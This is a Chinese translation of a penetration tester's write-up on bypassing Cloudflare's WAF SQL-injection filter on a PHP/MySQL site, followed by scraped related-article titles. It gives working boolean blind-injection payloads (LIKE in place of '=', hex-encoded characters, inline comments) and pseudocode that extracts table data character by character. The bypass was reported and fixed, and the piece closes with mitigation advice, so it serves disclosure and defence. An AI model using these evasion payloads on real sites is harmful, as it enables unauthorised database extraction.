聚焦源代码安全,网罗国内外最新资讯!

作者:George Skouroupathis

编译:奇安信代码卫士团队

2018年年末,我受雇为某大客户执行 Web Application 安全评估。用自动化工具运行标准扫描后,我发现了一个有意思的事情:这款工具无法利用某个可能存在的 SQL 注入漏洞,原因就在于 Cloudflare 公司的WAF,更具体地说是其 SQL 注入过滤器。

应用详情

这款应用是用 PHP 编写的通用网站,MySQL是后端的 DBMS。易受攻击的页面用多个部分组成的表单主体数据将 POST 请求发送给 /index.php 端点。说实话我并不记得该表单的用途,不过它确实不影响 writeup。POST 请求如下:

POST /index.php HTTP/1.1
Host: ******
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=dc30b7aab06d4aff91d4285d7e60d4f3--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="126"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="127"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="130"...
...###### #### 6 ########
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="task"form.save
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="form_id"X-MARK
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="96"############
--dc30b7aab06d4aff91d4285d7e60d4f3...
...Content-Disposition: form-data; name="115[]"########## ################## #### ###### ######
--dc30b7aab06d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="125"###### ###### ########## ########
--dc30b7aab06d4aff91d4285d7e60d4f3--

X-MARK 处未清理的参数可被用于将任意值注入SQL SELECT 查询的 WHERE 从句。如,如果以上数据被作为 POST 请求的主体发送,那么在服务器上被执行的 SQL 查询将如下:

SELECT c1,c2,c3 FROM t1 WHERE X-MARK;

用于这种注入情况的技术是基于 Time 的SQL 盲注。问题在于,Cloudflare 会识别出这些注入并将其拦截。不管我尝试如何构造查询或者使用了多少 sqlmap 修改脚本,Cloudflare 都会拦截。

为解决这个问题,我使用了在手动测试同样请求上SQL 注入漏洞的方法:我发现当我尝试注入代码时,会出现和下面 SQL 查询类似的内容:

SELECT c1,c2,c3 FROM t1 WHERE 'a'='a';

Web 服务器的响应是:状态“200 OK”。当我尝试注入代码时,会出现和如下 SQL 查询类似的内容:

SELECT c1,c2,c3 FROM t1 WHERE 'a'='b';

服务器的响应是:状态“500 内部服务器错误”。

换句话说,当后台中的 SQL 查询未返回结果时,Web 服务器会显示出错并崩溃(可能是因为后台代码试图访问返回列表中的项目,而列表的索引不在范围内)。这让我想到:编写一个脚本,比对从所要求 DBMS 实体名称中提取的字符和所有的字符。我的想法是,如果这两个字符匹配,那么服务器就会返回一个“200 OK”的状态,否则它将返回“500 内部服务器错误”状态,我必须对比所要求的字符和列表中的下一个字符。

第一次尝试

我的想法是,如果 a 想要找到第五张表格名称的第一个第二个字符(如information_schema.tables中所列),那么首先需要在 MySQL 查询该字符是否等于‘a’,如果不是,继续询问是否等于‘b’、’c’等。我首先注入如下字符串(和‘a’进行比对):

'a' =(SELECT SUBSTRING(table_name, 2, 1)FROM information_schema.tablesLIMIT 4, 1)

它将导致如下 SQL 查询在服务器上执行:

SELECT c1,c2,c3 FROM t1
WHERE 'a' =(SELECT SUBSTRING(table_name, 2, 1)FROM information_schema.tablesLIMIT 4, 1)

比如,当我发现表格名称是 t1,那么我就能通过如下注入暴力破解表栏的名称:

INJECTION 1

'a' =(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)

之后通过如下注入,实际上从表格 t1 的c1 栏获得了值:

'a' =(SELECT SUBSTRING(c1, 1, 1)FROM t1LIMIT 0, 1)

这个想法不错,但 Cloudflare 会抱怨“=”符号。注入:

'a' = 'b'

会遭 Cloudflare WAF 拦截。一番调整后我发现如下请求能够绕过‘=’限制:

'a' LIKE 'b'

这意味着最初的注入 INJECTION 1将变成:

'a' LIKE(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)

第二次尝试

INJECTION 1 仍然还存在。Cloudflare 仍然会显示出错。具体来讲,注入:

'a' LIKE 'b'

仍然被拦截。拦截的原因并不在于关键字 LIKE,而是因为字符‘a’。字符串和其它任意内容的对比都是禁止的。为了解决这个问题,我想到如下输入,WAF 并未检测出:

'0x61' LIKE 'b'

如上注入将字符‘a’以十六进制形式‘0x61’发送:

'0x61' LIKE 'a'

返回仍然是 Ture,而

'0x61' LIKE 'b'

仍未被检测到,且返回为 False。

最终的 INJECTION 1 如下:

'0x61' LIKE(SELECT SUBSTRING(column_name, 1, 1)FROM information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)

第三次尝试

我输入的第三个混淆是SQL查询关键字之间的一个多行注释。Cloudflare 会拦截如下查询:

SELECT c1,c2,c3 FROM t1 WHERE '0x61' LIKE 'b'

但通过多行注释的方式,新的查询将无法被检测到:

SELECT/*trick comment*/ c1,c2,c3
FROM/*trick comment*/ t1
WHERE '0x61' LIKE 'b'

因此,将这种方法应用到 INJECTION 1上,会出现如下结果:

'0x61' LIKE(SELECT/*trick comment*/ SUBSTRING(column_name, 1, 1)FROM/*trick comment*/ information_schema.columnsWHERE table_name = "t1"LIMIT 0, 1)

如上注入是最后的格式,当它以表单值被传递到易受攻击的 Web 应用时,Web 服务器的响应为“200 OK”,前提是字符‘a’和表格 t1 的第一栏名称的第一个字符匹配。

加速前进

为了更加容易地从应用数据库中检索到表格内容,我写了一个 Python 脚本使这个流程自动化。该脚本的伪代码如下:

# assert names of columns and table name is known
alphabet = [a,b,c,...,y,z]
characterPosition = 1 # the position of the character we are bruteforcing
for rowNumber in [0,20]:for columnName in columns:for character in alphabet:sqlInjection = '''0x{hex_encode(character)} LIKE (SELECT/*trick comment*/ SUBSTRING({columnName}, characterPosition,1)FROM/*trick comment*/ tableNameLIMIT {rowNumber}, 1)'''inject sqlInjection is POST request bodyif response.status == 200:result += characterrecurse function with characterPosition++elif response.status == 500:continue with next character in alphabetreturn result

这就是我绕过 Cloudflare WAFSQL 注入防护措施的方法。最终我得到了一件免费的 T 恤并入选 Cloudflare 公司的名人堂。

缓解措施

提交报告几天后,Cloudflare 公司审计并修复了该漏洞。

缓解数据库上 SQL 注入漏洞的最安全方法是预处理语句。这些语句包含在大多数语言的多数数据库交互库中。OWASP提供了很多缓解 SQL 注入漏洞的方法。我认为如果开发人员注意在其应用程序上应用安全措施,则 WAF 在大多数情况下是没有必要的。我们所需要做的就是正确清理用户的输入。

推荐阅读

史无前例:微软 SQL Server 被黑客组织安上了后门 skip-2.0(来看技术详情)

【缺陷周话】第 2 期 :SQL 注入

原文链接

https://www.astrocamel.com/web/2020/09/04/how-i-bypassed-cloudflares-sql-injection-filter.html

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 吧~

看我如何绕过Cloudflare 的 SQL 注入过滤相关推荐

  1. php采集绕过cloudflare,绕过Cloudflare进行SQL注入 bypass cloudflare

    绕过Cloudflare的waf进行SQL注入 有关应用程序的详细信息 该应用程序是一个用PHP编写的通用网站,其中MySQL作为后端DBMS.易受攻击的页面向/index.php端点提交了包含多部分 ...

  2. 实战绕过WTS-WAF的SQL注入

    实战绕过WTS-WAF的SQL注入 1.前言 2.测试流程 2.1.发现漏洞 2.1.1.正常页面 2.1.2.WAF警告 2.1.3.非正常页面 2.2.判断字段数 2.2.1.非正常页面 2.2. ...

  3. SQL注入看这一篇可能还不够——SQL注入各类型总结+靶场实战

    SQL注入简介 SQL注入原理 SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞. SQL注入类型 注入参数:数字型注入.字符型注入.搜索型注 ...

  4. mysql注入单引号被过滤_避开sql注入过滤的几个方法

    有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷. 唱出会删除或者净化一些字符,或者阻止常用的sql关键词. 我们通常有以下几种技巧,去避开这 ...

  5. CTFHub_技能树_Web之SQL注入——过滤空格

    文章目录 一.过滤空格的绕过 二.注入过程 Ⅰ.爆表名 Ⅱ.爆列名 Ⅲ.爆flag 一.过滤空格的绕过 一般注入语句为 ?id=0 union select database(),user() 由于过 ...

  6. php+mysql防注入字符串过滤_php 防sql注入过滤代码

    我们提供了三个函数不来过滤一些特殊的字符,主要是利用php把sql敏感字符串给过滤掉了,好了下面来看看这款代码吧,有需要的朋友拿去看看,实例代码如下: function phpsql_show($st ...

  7. Sophos 修复 Cyberoam OS 中的 SQL 注入漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Sophos 公司为 Cyberoam 防火墙和路由器发布热补丁,修复一个 SQL 注入漏洞. Sophos 在2014年收购防火墙和 ...

  8. sql注入_1-7_绕过注入

    文章目录 一.sql注入绕过概念 二.sql注入绕过手段 三.sql绕过演示 四.总结 一.sql注入绕过概念 1.为什么要绕过? 因为有时候存在注入,但是很多符号被过滤掉, 所以我们不的不使用绕过手 ...

  9. 【SQL注入17】绕过手法与防御

    目录 1 绕过 1.1 符号绕过方法 1.2 关键字绕过方法 2 SQL注入防御措施 3 总结 参考文献 1 绕过 最终目的是让后台执行的语句是我们想要的. 1.1 符号绕过方法 基础情形:字符串常用 ...

最新文章

  1. 微软压力测试工具 web application stress
  2. 轻量级NLP工具开源,中文处理更精准,超越斯坦福Stanza
  3. 如果你不习惯新版的 Github 的 UI 界面,可以试试这款插件
  4. stm32之USB应用实例(官方例程资料下载使用)
  5. Dubbo原理与框架设计
  6. 如何在Scala中将Double转换为String?
  7. mysql集群如何保障数据分布均匀_如何保证数据库集群时候,主从库一致性的问题?...
  8. Exception in thread main java.lang.NoClassDefFoundError
  9. Flink-org.apache.flink.api.common.functions.AggregateFunction
  10. jmeter测试mysql数据库_【JMeter】JMeter完成一个MySql压力测试
  11. 部署http+svn,yum安装svn 1.9版本
  12. logistic回归分析优点_一文详尽系列之逻辑回归
  13. 虚拟机桥接模式下设置桥接的网卡
  14. 【Word】论文公式居中,编号右对齐
  15. 训练集,验证集与测试集
  16. Invalid classes inferred from unique values of `y`. Expected: [0 1 2], got [1 2 3]
  17. sap清账使用反记账_【转】SAP反记账功能祥解
  18. c语言自定义创建文件,c语言自定义文件名?
  19. 使用font-face艺术字失效
  20. delphi RichEdit控件中插入GIF动画表情

热门文章

  1. 私有静态方法private static method-值得用吗?
  2. 基于LDAP的WebLogic虚拟化统一用户权限管理
  3. WCF 第五章 行为 事务之选择一个事务协议-OleTx 或者WS-AT
  4. 装好XP,打开SATA开机蓝屏解决方法
  5. Fedora10字体安装与美化
  6. TypeScript--函数
  7. 揭开源码的神秘面纱,让源码从此无处藏身
  8. Linux下MySQL基础使用命令
  9. ebook site
  10. python xlrd导入后怎么保存_Python xlrd模块导入过程及常用操作